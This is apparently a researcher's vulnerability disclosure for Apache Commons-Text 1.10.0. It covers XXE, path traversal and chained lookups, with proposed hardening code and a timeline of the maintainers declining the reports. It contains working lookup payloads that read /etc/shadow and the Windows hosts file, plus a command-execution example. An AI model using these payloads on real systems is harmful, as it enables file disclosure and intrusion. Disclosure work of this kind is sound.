Vulnerabilities In Apache Commons-Text 1.10.0
Vulnerabilities In
Apache Commons-Text 1.10.0
Abstract
Background
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}");
System.out.println(out);Vulnerability Analysis
XMLStringLookup
return XPathFactory.newInstance().newXPath().evaluate(xpath, new InputSource(inputStream));
XPathImpl ultimately calls DomParser directly without any xxe protections:
DocumentBuilderFactory dbf = FactoryImpl.getDOMFactory(useS
erviceMechanism); dbf.setNamespaceAware(true);
dbf.setValidating(false);
return dbf.newDocumentBuilder().
parse(source);
${xml:xxe.xml:test}${xml:../../../../../tmp/xxe.xml:test}PropertiesStringLookup
${properties:../../../../../../../../etc/shadow::root}FileStringLookup
${file:UTF-8:../../../../../../../../etc/shadow}${file:UTF-8:C:/Windows/System32/Drivers/etc/hosts}${file:UTF-8:D:/testfile}${file:UTF-8://servera/testfile}Chaining Lookups
StringSubstitutor str = StringSubstitutor.createInterpolator();
str.setEnableSubstitutionInVariables(true);
str.
replace("${properties:http:// 127.0.0.1:8000/${file:UTF-8:.. /../../../../Windows/System32/ drivers/etc/hosts}}")
Outputs: ...
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ] and key [1 localhost
127.0.0.1 localhost
# End of section
].
at org.apache.commons.text.lookup.IllegalArgumentExceptions.format(IllegalArgumentExceptions.java:49)
at org.apache.commons.text.lookup.PropertiesStringLookup.lookup(PropertiesStringLookup.java:107)
at org.apache.commons.text.lookup.InterpolatorStringLookup.lookup(InterpolatorStringLookup.java:127)
at org.apache.commons.text.StringSubstitutor.resolveVariable(StringSubstitutor.java:1148)
at org.apache.commons.text.StringSubstitutor.substitute(StringSubstitutor.java:1514)
at org.apache.commons.text.StringSubstitutor.substitute(StringSubstitutor.java:1389)
at org.apache.commons.text.StringSubstitutor.replace(StringSubstitutor.java:893)
Partial Fix
File file = new File(documentPath);
if (!file.getAbsolutePath().
equals(file.getCanonicalPath() )) { throw new IOException("Absolute path not equal to canonical path");
}
For the xxe issue add this to XMLStringLookup to disallow doctype
try {
File file = new File(documentPath);
if (!file.getAbsolutePath().
equals(file.getCanonicalPath() )) { throw new IOException("Absolute path not equal to canonical path");
}
InputStream inputStream = Files.newInputStream(Paths.get
(documentPath)); DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInst
ance();
docBuilderFactory.setFeature("
http://apache.org/xml/ features/disallow-doctype-decl ", true); docBuilderFactory.
setXIncludeAware(false);
DocumentBuilder docBuilder = docBuilderFactory.
newDocumentBuilder(); Document xmlDocument = docBuilder.parse(inputStream);
return XPathFactory.newInstance().
newXPath().evaluate(xpath, xmlDocument);
} catch (final Exception e) {
throw IllegalArgumentExceptions.form
at(e, "Error looking up XML document [%s] and XPath [%s].", documentPath, xpath);
}
The path traversal should also have further hardening, like limiting to just files in the package directory/doc root by default and allowing users to open this restriction based on their configuration.
Timeline
- Sep 24th 2022 - 1.10.0 Released with fix for CVE-2022-42889
- Oct 14th 2022 - Reached out to share vulnerability
- Oct 28th 2022 - Shared details of XXE issue
- Mar 10th 2023 - Apache Commons Text team informed me they don't consider this a security vulnerability because this is a "low-level" library and its the responsibility of the application to sanitize the input.
- May 5th 2023 - Provided all other vulnerabilities and code hardening fixes to Apache Commons Text team
- May 6th 2023 - Apache Commons Text team informed me they still don't consider these security vulnerabilities and pointed me to https://commons.apache.org/security.html which as of April 20 2023 was updated to say "The Commons libraries are low-level libraries that are typically designed to work with input that is either trusted or validated/sanitized by the application using the library. It is not safe to provide possibly-malicious input to Commons libraries unless otherwise specified."
